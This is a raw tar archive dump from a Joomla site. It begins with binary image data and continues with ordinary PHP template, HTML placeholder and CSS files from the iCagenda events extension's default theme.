*9!B���(b5�ƒ�۷I�0Cu�&6#F,E:8X������x]�p`c9��&D?�A���֯# @Y��3w ��#'(�G�)C|��gCv�eтu����,q���.xg�b	�f��z���x?t�(�_j��u"� #��昢3-f���Ɉ0p��>$��9z`�Y��DVy�
��e�Lzp�YPP�@�Y��e�ȁi�d�P&���Z����FTP& �	B�:�p硈�Ƨ���r�@�V@��(�)� ��SPZ*�olZ
��
(��+��Z �k���+���h��
�C85�,t�
��V�,
Ġ��������PB��&�.�	|-�Z�B즫n�D{@�֪0��	��B�)T��R�7�p(Qm/<�Bg�j�GT�������~��#dr,��&� Q�E\�1�-�P������2��C8�s�p��&����E,�3�G��¦Ng��!4�Q�`� v����Zs�R�]Bo�
m�/<���[�-�$-v��PCK�����}w�����d�-��-~�7 n�݇��E�x���g���{�@
�ONz�-�Nbe�pA���x�Y�씷��#X���;�?�3_{��C(�'\��g~7"���|�?�/q�	pB���^>�p��h���u`{H�F0�	�`�_�v@����s^���Ѐ��8�`'\�7��
� �_�n�?�at�	��P�
V����'��j.о��~#d�fp�>�.�a3x����8����P�,da����yq'!RIhB*�+�A-���P5�A���*q�X!+xA���3X`!�hE"��'���p��񌈴��ȱ��/�ẉ�2� !�	?,@@���pH,��Q-�r�2��+
Ǭv�=T<�J�(�Β�H$0e6ܸ|��xtx��	��%�<:/s�E-6�y{|g2jk�<X�s&&�:a*�
ll<�,-�\7&��xyc�Ph"����,��G6����{e~��Ǚ��<=�D
SSԻ�azfh����,��?%���D=�,J%6�b����
<|�U��4
4���)I�����=�-xj��4�����"F�	\X �)���
:�A�BD3<4i�r�.�&��tdC�J�|H�(�r��@�iSufL�s"���'�v%A��.B�U�ԅ�t>�>{`+W�$s8�%G��e��-�v�BS�K��-�
مR.:�+rA�Cĉ;w�p�C���Ê�F^8(�ysg�02 @�ܸI�����#'��{E1B<�.z�o�5��Ν;�CC&DO?��Z賜ఽ�����|�՗[
�m�A{8��qAVH�s�%���6���, �1�@a���Z�Р�~�BBP�'R�!�YX�A�2>��Đ��7�A<n1�(`�l���X"��Mj���RJ�

�p%NYIU�Fx0�o��A
8�yeL��E
pF�( `�tJg��y����pӤt�$��F��0JCPj
o`z�"�)꫰f���F�꭪�î��z�EH���P@���plu�
�í�FK@T�����ڬ@A��B@A�Vkn�\n�������P@	����z��
�,p��V��C\A	Dlȶ6 �����s�p
�K[|�r<,q
,�0@��,s��@5��r54���2p��
�Bܠ3�<7����T
�Ct���N7�B?w�B�$
Dl�t�^��˘VM61�H�_݁�p�-������^���=���>QGކw���,�deBT���E�ۈK��S�D��05�YLp8� ���w��D��/�N��=�0�!�����:� ���>��,6"�#���l���S?�\������#�z��� ���?��p��t<p���{����;O,|���
�`8��w�
^�����7��=c��n`;8�
p	^�����>�f�_�HXB�p)�	"��	N�3�!
���o� �
L����ta)�>r0?X�yXBq�d��(��-8��O{�TQ�Xl�
��E7v�,�	Ϙ�4�P�[ |�t�)>���� ]�G6�8�
��J��d⽄p�=��/��u�!�	?,@@���pH,��Y+�t�Ǔ��Ǭv�=4B��@�A5��bm+���3�,a�a�3h�h*k2
25r�E6wxbdfi�2�
%/��3��w&a|������"""
�\)�..��cegi�����'�G+����x���h����"�<=�D�SS��6�yŘ:����<�	�?5���a�*U�*aR�f�Z����!�"R�4iw
��0��	
�L�~�(r`�T�0}�!+�ȑ��HC��M\�ҟ�!��H�ů�&`ɲ��
[��T�b%�qND��4�Rw�b�`t!��r8�ؕ�n�E��٘=DX��Asr�ڽˀ��[*���RF��1C]���m@ˊ�''U
s�f"te�x4
5�|�#��͆���vܵ}���D&����ъq���m
��ɐ��o��C��n��Ϳ��YȂ��OG����0x$P��_
��P�Z�@ÀR@	qA�*� �	@aTxa�����a�-&�B#j��8�@	!QO0ˆ��5a���H��~�ӓ/��[�Y����Kfy�<	%O�Q�Y.�8����e�OB'f>��&�g&0›9���s�@�x��
-P��}�Z�F�Ph�ib A
%d��m�i`����b�B��j���<` 묲R������ݫCH���������*��� �2++5D[C�R[��Ɋ�¶�2�-T+�������p�-�Ѐ��6�n��@�拯�+�������/�(�k���+o
<�l
�C��pB-@���-\ī0X\�ɉ��q-tЁ��RP��&C6@�8����?�l1Bl�����*��?#tK?<�2�Jg�«<��%�,�I'��h3M% @�PC�d��w�=��bV��nCCx��#�3�; �m���u��C�O0�>@���v�����陏0�jk'�?�cp��c>�����*�N{첃����y�3,��	/<�?.�/��7�|��K?<Л��ϰ�ޯ���3"���W���+���">@�"�����ط?�m`�pꆀ/ �� =
�b���A	N�8�n���.l!3HC!������=�9���O����-��?0�A7d���>B0�"/P�x�7�!Ǩ�(n�U�bO��PP�7�p���%fPxd�v�>�1�[���(F2�f,��hB�0�*<A'���q�E���"���,�@FH= ��$b$��B9��N|�&��"�Ћ��a"�����%)�!�	?,@@���pH,��E��8l[(�kMǬv˽t.�cl�Z,&�a��Tvܸ|��$<W^�tD�&:�:.-s�E>�>ycOeg&�l�*5��s1!�x{b6~hh���*

:�\!�>��z|ef����**�2'�GMS���adɛ�����2*#�D1M�S���ݗ����
2�?�]հI{��d@��q�dH�'!�(F
$�� ��l�VU�q��M�'B�R#4rd�ۻa�\����B���L���L�J�DH�hC��2b&,@�/����Q�J���s!C�	Rh�X3[��.�%CXx�.�U��S�7^K�!݋+E$U*�Gc���@�,Z�3c$�'d�����:�Aڂ�
9rT�u��D.�ݸ�c��P�@jՖ��8�ȋJy� M7X�,������Q�9nX�hT!G�RW����
��Ç�uȆ��[G��	���,@D����y94П�7��0�����O�����
j�BxVh"\?,P��+rX�.!f��&2@��1�A<��a	 Ƙ��P�H���5T�d�VЁ�ZL`�H�x�	5t���>�G�"�HÙgR@A4P��^zYߘF��&
j�n6�g�5LI�-�i($�0��o���k�q��$ ��
=4Ђ��YX�F0@B��Z�C-����ӀZ���+��jk�ٹ:���뚷ڊj��
��&�,=t���[��,�4����m��
`-�K�x���+�Z[-2�୶�0�Ş����K��ۃ�0��?4���8�p$����p������7�g<��'�*��� ΀2��0���
-cвBpr�DO`�j���>���m��#�0���������3w6��V[�@t�
���K��AldOP���)��{��sE�=�t/�*�;��0��5H�p�܄^�
+��@��ޠo�nun9���q
@�� �7�N7�+������ ��9�0�'���;h����{C ������L�8H0
wg�@��3�'�������5 K��<��'8�
��@@����,���6x�\��`` �?�� 0��p��i���fx�<�/��w�����;�V�ʏ�2� 
mhC� �:,	MD耈[��aC��5��
q���0+>�"�@`A�<��K�z�x16�g�ᒄ�C�!��@���ֱ�h���}�yA���D��O�@͸�4Ƌ�
yH;��e����N�7X�)O�I(�C�2c,GyI<jR�hd��2�ьXdD!�	?,@@���pH,��ͨ�˅�@*U�-^Ǭv˽�
�H$	�}h���r�Z�|>�,J�DX�j.km6=t�E39)y1z|ePP�k�.X�tS�1�c}Oh>��6��&.�\-����bbfP����&��G%M�)	��a��i��6��&&&3�D39�9Կz{���m�6���:�?&��<Tڞ��-�8r�t�H�HԀ	��uj���4�e���4Du�B	��
�!E�
�0����q%��0T�?:\�|���j
V�:r�E�|�Ɲ<YT��snT[b)Fwkl���
�\SjP1W��
\>�1Vi��M*�H���V�s�P�@�3-����l�Sӭ����b�
dx�r@gN��_�\��
)=��ZF�#:��\�r���|��X�b�2hkx`dC��9OO�}#x�^C�N.A�Q"=���-�u�#�.A�
�?th1_|���g��#���݉�^
D��|60^`����^{"�0�H�x�1�(ˆ#J ^?��C+f�!:�& �&
`c
BL�Î+�H��1f�6Ƀ�0@K��-Aj1�E
���V>p�\6��yQf��<�i%0��J2�&|aÙg��A���k2	e�GtP&J(>,0¢��&��q�J)̰��2G�G�p)�`�p�j��>j*�J���j�#�ZݫE�������3LP,���,�ʀ��� ����:<���<�0�Ԃ;î��
�40��l ��~����r��hp@�����^@��K�|믿+@�lD<��f��+,�����C$H,2|���
�`�<P@��.�qu;p�A���#s�@� �)�\�pj��$0
�J?|ps�T�`5��N@��>@��G�V[}үʀksݴDܐs�;���XG�8���$dP�u~��Fy	}�7�lӐ���}�'���~p���|�M@�~v�_��u��
8�:�
+�ٗ�~�'������7������y���y'p�¿�z�(��˧��7ܐ�3�0=���9	�m����
Ԯ������_=

��zw�������Dž8������Yo4t�o���o�/��ꆰ�0(���WA�Y@� ��P�p��X���"�B�P#Ԃ�8H��p���>B��?AQA"��|&H���7CF�����}�C-j1�ED��#����"[���-�q�Dd)~�/����G�1����ڧ�(І!��"���,n����>D�;�N�l#!��$.JT�d�6�FQ�4��+#��D$+�����1-�,Ѐj&�!�	?,@@���pH,���bP�eR�L�Қl^Ǭv�}�Z�Bn�)��X,�
.ܸ��iM�9�z�%�!�s�E
%%abdfijl!>X�s-5���x9Ph��!�>�3�\

M�S��{}�����7�G-�����bz�	�����.>�t-�5�Ԑ�|�k����..
�?���ӿ�̴zu	-��9pP���}���k�2P*�6O�@m�ѡd����U�P�ǀ=i�4+��?~�q�B���$!6�8�ƀ��\��Bz�\�a��9^��@򤹉= ��"DDžmP�`c�0a�4��q/j@��vmU̴,�h�r3���`�ZU-��l"��#2�,��[|Dn��y�	L�2aBf�Zp
�ȇkM�6���'"'\��]�A�,�)K�m@��E��z�뗴�'�a��s:,(�q��t�?k?rÁ���5� �bƌ	�Ϗ�^��߁������ه�y#���	8 �~v�ڧ�}�<��R��
$6�����}zhD�0��*��8�a�.
6�$*��,��"�=ja�A����#\�•X�xM�A�S�)C
'���h������2��f�y�+ܵ�3p�	�28�Ýu���Fh�'�� ��n 餒��H�馚�����N�B���`��"���;���\����*�2𪫺�z���j��`��;ki�C �<+�'�l��.��D뭷&�p��fW��<� @����V{�	��l骫�%�0/���1p�������_0�'@��
p`���k�G1����,��[��x�2��:`2'��CB|���7���30 t�4��=s|C�K��.j ��,0P��A�t�8�h4�=��%��t�N�M$���
�
����s�NwM��M> �
���pD�y��7i	�.7<����z���l����9
��]���9�O��	@@��N��[��p�A�L���N;	4� ���z���`@<�$O��G��?���C�<x@��8\?��$�pH�?ݺ!��X>��
00@��x�	
�Nz��Ap����xD����|Fp � �R  �� , �g�f�(���0�N0�!
kh��p��s�����	�� @b!�Ez�;,`)p���/�bixC'" �PT�za\d�	&Q�K��	F�`Mu�"�(�%�уo!	" 2��.�b���C�H���4���H��g�E���"�*p�kd���	4A!�	?,@@���pH,���j��TJ�Fc�ؽ�جv����F�Vzιt&S�\��8�0hI���Z*�k)�)%r�F=-v`xOO}~j�		1��rM��Raydh���11)�[3=�M���y����)��%�G#����5������!!�s��Ϲ-��{P~9®����?#��=�����T�]�l��͛"@��6L1a@�r��#� a�^�b�С��L���"F]�jt�Aq��������Z �1c�J~�B��0�D�e*dI�a��|x��ł	E)����G�Dz$XX�����`�]�Y��Fه}�u�E�Zv,����щV�r �ɫq�؜"˃�3��u\��d"R\�م\��X0��h��O�Pnkׯ=\)raE�Š�]���¯ؘ~�Ȇ
ƍ3������K�n���V`�@[�b�ޏ<����,����ć��MgC~���uש��q�	hD"h�	��
;�0��zJx�	Xp�bX�'��b��p��Ed��	8^h�B���/^"�F����`�/�p�O>	dwD�’Ib��<e�P�9c�C��[�f7�f�p���i����\��'��dnrq�����'$��nR(&������p���&�B8@�*L��	'\j��lʩ�����:�j��c>ꃫ�Nz����Zk�(��
��@��Κ�r� �ϚpC��V�*�Eh ö�* �.�pC�㖫j��p뭷������
�r:��r�m�;���h��o����?�/�Dj`��K�ؿ;���U� ��l�d<o��������M6	�����.���l�7�g:뼳�t�%Mt�p�t�� �+�H�Aѧ� h_������c�]�*p��Vc��n=��d:���w㍶)��w܊������x�q3~xw�4�9�[P��3�:��M������v�0$�?���4��@�3@��WG껫�@v�� ���>;�'�{� �<(hPC�?,��@�O���N��?�C0�<�H���@8P~�c�	�g��O|���a�A�(!F�����z�˞(X�O��?���	,!�G�Ҡ{���'���0�?B�0�&��ǂ��@��A�Ͱ�6�!q����*��ir��jp��bQB'�q�'dA�$t ���K��(F���%\ 
(= 4x�?HC:���P@
�'�	x��c
iH 3��.P�@��%Yf���/�	!�	?,@@���pH,���n1��^o�:|�جv�:L:�V��k�J��Z\��8�2H{��Zk�Kj�
+Wr�E'uvvxb|
hk9���q7M�w=bz��h�%��9�[#u#��yd���9��))
�G3��M��������9�)	)��C'3��ӎ�zefj����	��?�躢��a��
V���Pآ��}��I��c@H|VUp���7�1bDh��Š �˕�םP3�Ͱ�R�������'O��MZ�'8�1�A1�
A�aA�+6d]�R��]n=�YΝS���c�֠\SF�qc܇gEFA5@�̲�pKx+ʘ3��r �N�{#�
 G�m�f
���C��̗/e>�r`G�̚7p
I�Ȧ�F�̭]���wm#5J�֍�C#ZN�q#(�f�{���|Î�����{��\�.}���lh�ރ1 q�	H^kJ�WD���8p�H��⡧��8�߇8@�Xha��%�!|�_����hc�j�b��
1:��'�Xd�Z����6ذ�5�x��*.)DP�`A���7TYb]Z1C�^zi��� g�e�xmi�|�i�!�9����d�C8�	�Z`�s
:h�y��(����wv�)����&�j*����@�ZF`����j���
*�L꠫:�j���zg�x�*������в��	:h�����¶�>˭�+ޠ��䎫C�l���n8�
�/�5�����`*�+���������陠��ʫA]<0�����3̰B|0��2(P2�*X�1� ��
�\2��#�W���
�,C�&�`�!wl�"��s�%�K��E0�'( �X+ݳ
*������:p�I'sq��5�m��tc��
��6�  �Szx���ug-BCZ�5�B�]�΃<�p�g��;�8 ��@y�_n��eQ��ތ�N:$�X�0����P9�fǽ�
|��C
 |B,0@�[�9�rh�x�/�<�#���d�B
P@
���"H ����<@�p@�@{4 � 
&���r@X�T�?�9�|$ 
P��bH!	 �>�U{�����5� !	IxB�P�,l����-���7��`�;�!
q@�F����7��Ld�u����(�"%��!2@�;Nh0�$�Q��3�S�� R�<p��n�O�((`{�F ��}H�v�0 ���@O��>^Q�ےf�$r��4�UH	T�bE��m,���g6H@tԌ !�	?,@@���pH,���i�X���d��|�جv�9m���h�;�Vg�yl�p�m����bqypN�
=;Wq�Etuuw#ze}-�
5-��p+��x�O||hj�5

�\�+�M3`cO#f=����5�%=n�F/���t��wb�=�i���%ܯ�C�;�+��vR�Ԑ�5��%%�?;���埶���%	��b�
(,0 ٍ|�ƍ3�H�#_����7/G�2=8q�����Ჳ`�D)~��Wa��FZv����}�hy�r��MT�V��M�87��p�DϞ%'v:p�Ћۺ)��1C�.��jkV��`}� �i��fѦ��ȃU�]ͪ֞�M��=�"A�,T[eK�g_�/j�=�8A�X.�-�-����q��12B��h�����zHƍ�H#��"7�_�MZ0��X�pM�x�F�<Xμ�s�~s��^<��D$W�\yr�ZvX�n�|�����>���B!�P�v�ݰ���iqA�
(a�=���a�`W
�jр�B��p�'�a�Z �# #j(������8D1��?��D�"�:jт�>��C��A�E~����d�MV0d�U~��p�g��—R~��W�t���l�i�F���	hz��&�Y$�.4�?�i(�X��襀:�B��^!&�X$����C�F
�!8`è����p���6��j�1ت�6��h���?L`���kCE �߬Z�	`�-��M��%��	�fk��n��غ��`�����J��:�;o�1�� �/*�����;A��
�/����:�0��C�o, :�0��І���*C��W^`�
*�,�{���HC�t�
�`�@4ȏ!���X+�24�a
�
�Sk`�eBd�����6T�!� C�PCM�!a!��Z� ��$�H`��b�]2 ���\s�6�	�*� �⋋��'lQ��n�#�@Ͱ<���{��w3ޱPN��(��
�Jă�@;�nw�Loa��_��(�@�	
�=�h��� ��?/C��|����c���8�@"(�B#��`X��
��k��|`<TM�r0@�7?ԏ�#	(�AЀd��W>ڡ�s!���'<��~�ˠ)@�~P�#4� �� 55��)C�ݏ��A(��P����@/�"1x�&у �y@�ڠt�)	\H?�P�$
Y(`C1�P���P��GDb�XGЉ_Ȕ\Ј�$��D��{:ʒ��E%2`�,PA@��ô �i5���1L!�	?,@@���pH,����۬�����9Z����qb67N�b<[�&��+�n_K���r���~�_�܀GpRrM�uwe{#�#U�n'��;L`awdf|�#�#�l����_OOf����==��EJ�'�]�s��d����==��C�7®�]�tv�g���=�+�?/7I�ï�;�z�ͻ��-~mqw�%ڌuS�΢|r�Bס��*
L��`�%��H��dO$g���ؠ�:Kbr$�-����8���>s�.�lp�͋1�)58�Ƈ�Z6�H���5Lò���3[�h�ʊW`m��ʇ�^�.u�nȍ��P�k�
=���pR��>ཚ���V�J��#�Zd�Z�o��5?���׺X&��\�D����~[��e�B�.�s��V�s6n,/����DF�|<�	ޟ�;�Q��j�~<��f@���������<؞~}���gӣ~�z�~n��^&�B����RA�,h�<�!���1@� � b
3��t���8b,���*^�	��� ��!�xE;�c9 K6�`	BZQ@1$@%�9���\��%X��	pi&|iDD��p&�P� t�f���m&@��lY(P�9D~6�h
�I硅F��1������Nz����@��j��6����.��抪n�B +���
�ꃱ��p���9\����,8�,�J�������l���e.x����벋��4~���+p�E	����"�0(�'dDp���@D	/���D9�
K�i���0(xP�.8`�!�T���(��A~�3�`t��K�
$0���DM�&`�	D���>����>��8PPru�`�Xg}��F�v�c��Tw��Ͷ�6$����2�d�	xM�
�`�&����wDQ����w@	(]�h����}5��І�u'��$�@�
�f�����ꬷ~��b�݊����S@I;^�%ؠ�����}�- ���GO��40�@V�`��/�
����3A|w�X tσ�h�>���� � ����'<�IN�F�;.�}4`��8�	RЂ�������.-���@��1�)\!%(\�1�_Ug���*��N���, ���?�@��4��
�@�?l ���
�O��S�TC�Ā��רE7"Q�
�@	P��@
�"[��
Q�@
�W��@)�"���� (�]:��項X[
Ѓ�&!�	?,@@���pH,����v9���8Z�ج��xO���+o��v�q��o�=���f�Z�ۀEo7��rNuvf||+��J�K��O;vx{��3+7�Y\/��KS_Nb�z;+��3�j�FI���^rue����33U�CI�JJTTS`��z{��+�3��n�/��ԆL`Q�x�}���#���ѿK�s)���7q�&�X!i�Ct�(�V�	�j%7B�v����߿��|� �G�>��&eɈ�}8���=�zmVS��^)%�)Sh�I�����rB(��4����@VЖ��>,�	���Ny��lY$n�Y��)�Z�@��a�z���o���y�����Yf��ܢs�IX���Ɯ7h�@� b�@���;�n��A�!@�M���Wf��ݠF�fbCN]�
�W��]�y�B@ N^�q�V&p�޽F�7�C�b:���\�޼{��5|P�|�X`�]�A
0�_%Tp@��G�x�$x��F�a	+�0߈����V�%x80�0��#���/����t@��@�(c7QA%��5` $��XA�F4��9 	Q>�{T�@Y�Y@�Ĉ��k"�fXa�™d�I&n��&`�C���P���nN�������fP�yV

1,����v�h
&�������>�ª�f�j1�J*
� ��$�k
	�z��*,
4�ك����7�,��A�&C�/� ��b�-2�9!��V[��>t�-�2De
�C� ��b�����j��B�K�\B�/�@�(����oDd�p��@@�(.��S�?<@��,�	����0��CT1����$M���}�>$���
;3	��ʥ���>�u�Đ�-4�U�0�m�os
vX���BWM
40mbD�qo��_q
y�M����l�
N�ֆ�@
-��8�D΂MK�B؀9替��i��{�y�,�����qC�:���Al|�{��7�s�;�0QFP��oB�#���ݼ	��==�s ?< �����Ѐ�g����s��<���z���W?H�2P@U@x���s]��RD`z4���g?��ȠT�A`�( ��W�t���)�B�@�4�
s8>���t �QЅ/�!��A2�x(Vb ���~�������P�ԁT�6�< "�[hAnQ*�b��W�ٱ8�ט�?vPˣ܍6�ш
�d9�
�FS7@B`1�6pA*0C�"!�	?,@@���pH,������.'�u�Z�Xa�yk:��S�t:\��z�}-���S,>�w�{oL�>n�]_Ptex;7|{~J�op_7��;��;z�XI��M�O�c�x��+i�V�nKoRr�v���+�+��Ei�J���d���±+�H?�˕�`dw����3�2�i����a��+��3;�8�)A��)�i_�u�&�[��`�!ɨ(u������[7��lYF@�x	G6.0���	8�U9��˖ގ	�0ldɛ#&̠UE��>Y
5���8q�غ�J��J��d�M������@�KB�Ev�ȺvĀ#�	w�ܰQA�kd�ִ[�
H�E��P37`|d��z�Q$̧������=Q�Ӹ�>��@p�!7��ݣx�B@��s�q���<�x��;���yw�q�M?�"4��ӯ¡����?��|�-������y'�|U�p_����
�A�u��U��
�wB��uء�QH�
6Ђ�
���	���� �'�h�3�B�<vh��}�XCC�0d4 ��1�F)��Dv@��Xb�@
Pс�`�PA
d�Yv�%=��fbր�̉�k��%�9�vΉ��y��A	�V�g�50 (���e�
 j��
�)�8@�C��PA�P�-؀ê���@�/����:@���*"�ì��J�-�K�	yN�A�B+k;ܐ��[B�d���@��"�,�*�yB
�������$@	�e)��o�9d���P�S@«@��@)@����
!½��/�'b	?������
��1銸A1Đ��G,�/�����@C>s�3��@�%�3>7�@�}�AT=t���+�4
�͂ǭ�@5�0�sTQ	M�-7,�5^T@!�]u�7a��-6�s5^$���|�
��U�܇s�9!��!� :�}G@u�\с�t#���
hS��>��}S�/��ݰo΃�[P;7���� ��M������� �
�0@�G�@X���8䓮�
�o/��/��2(`�G�U`X�6��;L/%�D��w<�@�d�?(@Ѐt`���P�]����r�����<���Kx��p}�k�7#���~ȳ�E 	(�*�I��0�
d���c�Hԟ9��Jq�&4�U�Bd�-xi�bj��z0� !	M�C,����r �%�QQ<�ӈ���|�yApH�0�TL��H�,&�aC�CTф>�A���� ����L@'�!�	?,@@���pH,���k�X��ǨtJ%&?O�c��ݶϪx��f_��{i_n���!�J�3�V{om'msd(VByhh]~o�'�/�S��xXz�7/k����q�E5 ����L�^n�'���B�����|�����;;7�: ���Eq�\ͦ����;�
 Ʋ�Cy�i᧨'�'s.������'P�z�ܾ}���P�w�V��Ձ|v�[��Z�	0(R�#�t���Q��
$�I9@@%����d��Qc؍h�B�Ĺ�$�( ���r%�l
3X�!ɦ+,�!�Ք)ATea���7�.��d�` 8[u�n���T��b��ѫW�T�&>rBnX�32�#����Om19��� ���H��za#p�t�T��<cB�B8 @�th��<����	#ZY@�8�Ϡ�'?��y��#�P�z��:�K��<�#����QhWod��������A}�I��r�7��A��w�(��3��7��BxC�Uh"
�mx����;؀�H�}<��.�Ë+H0�5i��G|��>.9CF9cH��,�C#P@_�	fQU1Ah���a�&`e1A�Ig�=��{� `�C�Y�wҠ'$J	:�-�i�p�襗Ѐ�B�@�N�B
\J���R��?����60�$�Z����5��k5;C
�RP,
pz���6�Ԛ*
PKpe�P����J���� n�6�����Պ+.40�^��`o	�PöpF�.�3��q�`o��&,��,���VyApo�إ@�
3��a9�Pq	���̂��<��;dP��&S\�
��s�p2�>P��8�s	Fd�O
2�z��B\#�t�!��B���vr
$���[�t	OQ��fW-� �m����ow�uGaT��7�� ��C�wWq�U?�v䒋�@ݘ�@�'C
ng��VR� ��"�.��0�5
�B�c���)�UE��.��+���O�@! <���v�c0z�K�
��C#T?�	$�Կ}����v��0@�@ԁ�|U�upA�G?��d��B�<}L�`X��6p�
%��~�^�Z�>1�`w�Bx@���&�@
m�"R��ڋ�{�(�|:L�{8B���&��W8A q{1�Y`N���	$a	�8D��^|a�q
`��t@�
`� Z@�+d!�����%Ё5�>��BLa ���yA
�F
Tq�'�b
�(�H(N;(�<�G��l�"Ђ���A^x�?�-X�;com_icagenda/themes/packs/default/default_registration.php000060400000002601152453734450020105 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	default
 * @template	event_registration
 * @version 	3.5.10 2015-08-05
 * @since       2.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die(); ?>

<!-- Event registration -->

<?php // Header of Registration page ?>
<?php // Show event ?>
<div class="ic-reg-event ic-clearfix">
	<div class="ic-reg-box">
		<?php if ($EVENT_NEXT): ?>
		<div class="ic-reg-icon ic-float-left">
		</div>
		<?php endif; ?>
		<div class="ic-reg-content">

			<?php // Category ?>
			<div class="ic-reg-cat">
				<?php echo $CATEGORY_TITLE; ?>
			</div>

			<?php // Event Title with link to event ?>
			<div class="ic-reg-event-title">
				<a href="<?php echo $EVENT_URL; ?>" title="<?php echo $EVENT_TITLE; ?>"><?php echo $EVENT_TITLE; ?></a>
			</div>
		</div>
	</div>
</div>
<?php // END Header ?>
com_icagenda/themes/packs/default/index.html000060400000000054152453734450015153 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/default/default_events.php000060400000007770152453734450016713 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @themepack	default
 * @template	events_list
 * @version 	3.5.6 2015-05-19
 * @since       3.2.8
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();?>

<!-- Event -->

<?php // List of Events Template ?>

	<?php // Show event ?>
	<div class="ic-event ic-clearfix">

		<?php // Display Date ?>
		<?php if ($EVENT_NEXT): ?>

			<div class="ic-box">
				<div class="ic-box-date ic-float-left ic-align-center <?php echo $CATEGORY_FONTCOLOR; ?>" style="background:<?php echo $CATEGORY_COLOR; ?>;">
					<div class="ic-date">

						<?php // Day ?>
						<div class="ic-day">
							<?php echo $EVENT_DAY; ?>
						</div>

						<?php // Month ?>
						<div class="ic-month">
							<?php echo $EVENT_MONTHSHORT; ?>
						</div>

						<?php // Year ?>
						<div class="ic-year">
							<?php echo $EVENT_YEAR; ?>
						</div>

						<?php // Time ?>
						<div class="ic-time">
							<?php echo $EVENT_TIME; ?>
						</div>

					</div>
				</div>

				<?php // Right-Box with Infos ?>
				<div class="ic-content">
					<div>

						<?php // Feature icons ?>
						<?php if (!empty($FEATURES_ICONSIZE_LIST)) : ?>
						<div class="ic-features-container">
							<?php foreach ($FEATURES_ICONS as $icon) : ?>
							<div class="ic-feature-icon">
								<img class="iCtip" src="<?php echo $FEATURES_ICONROOT_LIST . $icon['icon'] ?>" alt="<?php echo $icon['icon_alt'] ?>" title="<?php echo $SHOW_ICON_TITLE == '1' ? $icon['icon_alt'] : '' ?>">
							</div>
							<?php endforeach ?>
						</div>
						<?php endif ?>

						<?php // Category ?>
						<div class="ic-cat">
							<?php echo $CATEGORY_TITLE; ?>
						</div>

						<?php // Event Title with link to event + Manager Icons (included in titlebar) ?>
						<h2>
							<a href="<?php echo $EVENT_URL; ?>" title="<?php echo $EVENT_TITLE; ?>">
								<?php echo $EVENT_TITLEBAR; ?>
							</a>
						</h2>

						<?php // Location (different display, depending on the fields filled) ?>
						<?php if ($EVENT_VENUE OR $EVENT_CITY): ?>
						<div class="ic-place">

							<?php // Venue name ?>
							<?php if ($EVENT_VENUE): ?>
								<strong><?php echo JTEXT::_('COM_ICAGENDA_EVENT_PLACE'); ?>:</strong> <?php echo $EVENT_VENUE;?>
							<?php endif; ?>

							<?php // If Venue Name exists and city set (Google Maps). Displays Country if set. ?>
							<?php if (($EVENT_VENUE) AND ($EVENT_CITY)): ?>
								<span>&nbsp;|&nbsp;</span>
								<strong><?php echo JTEXT::_('COM_ICAGENDA_EVENT_CITY'); ?>:</strong> <?php echo $EVENT_CITY;?><?php if ($EVENT_COUNTRY): ?>, <?php echo $EVENT_COUNTRY;?><?php endif; ?>
							<?php endif; ?>

							<?php // If Venue Name doesn't exist and city set (Google Maps). Displays Country if set. ?>
							<?php if ((!$EVENT_VENUE) AND ($EVENT_CITY)): ?>
								<strong><?php echo JTEXT::_('COM_ICAGENDA_EVENT_CITY'); ?>:</strong> <?php echo $EVENT_CITY;?><?php if ($EVENT_COUNTRY): ?>, <?php echo $EVENT_COUNTRY;?><?php endif; ?>
							<?php endif; ?>

						</div>
						<?php endif; ?>

						<?php // Short Description ?>
						<?php if ($EVENT_DESC): ?>
							<div class="ic-descshort">
								<?php echo $EVENT_INTRO_TEXT ; ?><?php echo $READ_MORE ; ?>
							</div>
						<?php endif; ?>

						<?php // Addons Plugins (JComments, ...) - onListAddEventInfo ?>
						<?php if ($IC_LIST_ADD_EVENT_INFO): ?>
							<?php echo $IC_LIST_ADD_EVENT_INFO; ?>
						<?php endif; ?>

					</div>
				</div>
			</div>

		<?php endif; ?>

	</div>

<?php // END Event ?>
com_icagenda/themes/packs/default/css/index.html000060400000000054152453734450015743 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_icagenda/themes/packs/default/css/default_module_xsmall.css000060400000000336152453734450021034 0ustar00/*
 * MOD_ICCALENDAR
 * Extra small devices (usually a mobile phone)
 * 0 < SCREEN WIDTH < ('Small Screen Threshold' - 1)
 * Default : 0 < SCREEN WIDTH < 480
 */

/* Close "X" */
	#ictip a.close {
		padding-right:15px;
	}
com_icagenda/themes/packs/default/css/default_component-rtl.css000060400000004243152453734450020771 0ustar00/*
 * COM_ICAGENDA
 * iCagenda by JoomliC
 * Theme Pack Official
 * Default Theme - component
 *
 * @name		default - RTL Styles
 * @author		Lyr!C (JoomliC)
 * @version 	3.4.0 2014-12-01
 * @since		3.4.0
 */


/*
 * Common Styles
 */

/* Align styles */
.ic-align-left {
	text-align: right;
}
.ic-align-right {
	text-align: left;
}

/* Float styles */
.ic-float-left {
	float: right;
}
.ic-float-right {
	float: left;
}

/* Table styles */
.ic-divCell {
	float: right; /* fix for buggy browsers */
}

/* Feature Icons */
.ic-content > .ic-features-container {
	float: left;
	margin-right: auto;
	margin-left: -5px;
}
.ic-feature-icon {
	float: left;
}

/* Buttons (print, Add to Cal, ...) */
.ic-buttons {
	float: left;
}
.ic-icon {
	margin-left: auto;
	margin-right: 7px;
}
div.ic-tip-link {
	text-align: right;
}
div.ic-tip-link img {
	margin-right: auto;
	margin-left: 5px;
}


/*
 * List of Events
 */

/* Box Date */
